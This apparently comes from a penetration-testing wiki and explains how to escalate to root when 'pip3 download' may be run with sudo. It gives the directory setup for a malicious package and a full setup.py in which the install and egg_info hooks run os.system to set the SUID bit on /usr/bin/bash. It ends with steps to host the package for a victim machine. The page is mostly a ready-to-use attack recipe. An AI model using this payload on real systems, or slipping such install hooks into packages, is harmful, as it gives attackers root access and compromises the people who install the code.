For the complete documentation index, see llms.txt. This page is also available as Markdown.

Pip Download Code Execution

Theory

Pip is a package management system written in Python. It can download custom Python package so we can create a malicious package to execute arbitrary code.

Practice

Assume that pipe download can be executed as root with sudo rights. if we controll its input, then its vulnerable to arbitrary code execution.

sudo -l
    (root): /usr/bin/pip3 download http\://*.tar.gz

On attacking machine, we can clone the this_is_fine_wuzzi GitHub repo, or create our own source for the pip package as follow:

  • Assuming the package name is MySimplePackage. We need to create the following files and folders: setup.py in the project root, and init.py, main.py in src directory.

mkdir MySimplePackage && cd MySimplePackage
touch setup.py
mkdir src
touch src/__init__.py
echo 'print("hello")' > src/main.py
  • write something similar in the setup.py file. You may edit the RunCommand() function.

# setup.py
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info

def RunCommand():
	# Arbitrary code here!
	import os;os.system("chmod u+s /usr/bin/bash")

class RunEggInfoCommand(egg_info):
    def run(self):
        RunCommand()
        egg_info.run(self)


class RunInstallCommand(install):
    def run(self):
        RunCommand()
        install.run(self)

setup(
    name = "MySimplePackage",
    version = "0.0.1",
    license = "MIT",
    packages=find_packages(),
    cmdclass={
        'install' : RunInstallCommand,
        'egg_info': RunEggInfoCommand
    },
)
  • Build the malicious package

Finally host the package and run the pip download on the victime machine

We can host the package using pypi-server

And download it as follow

References

Last updated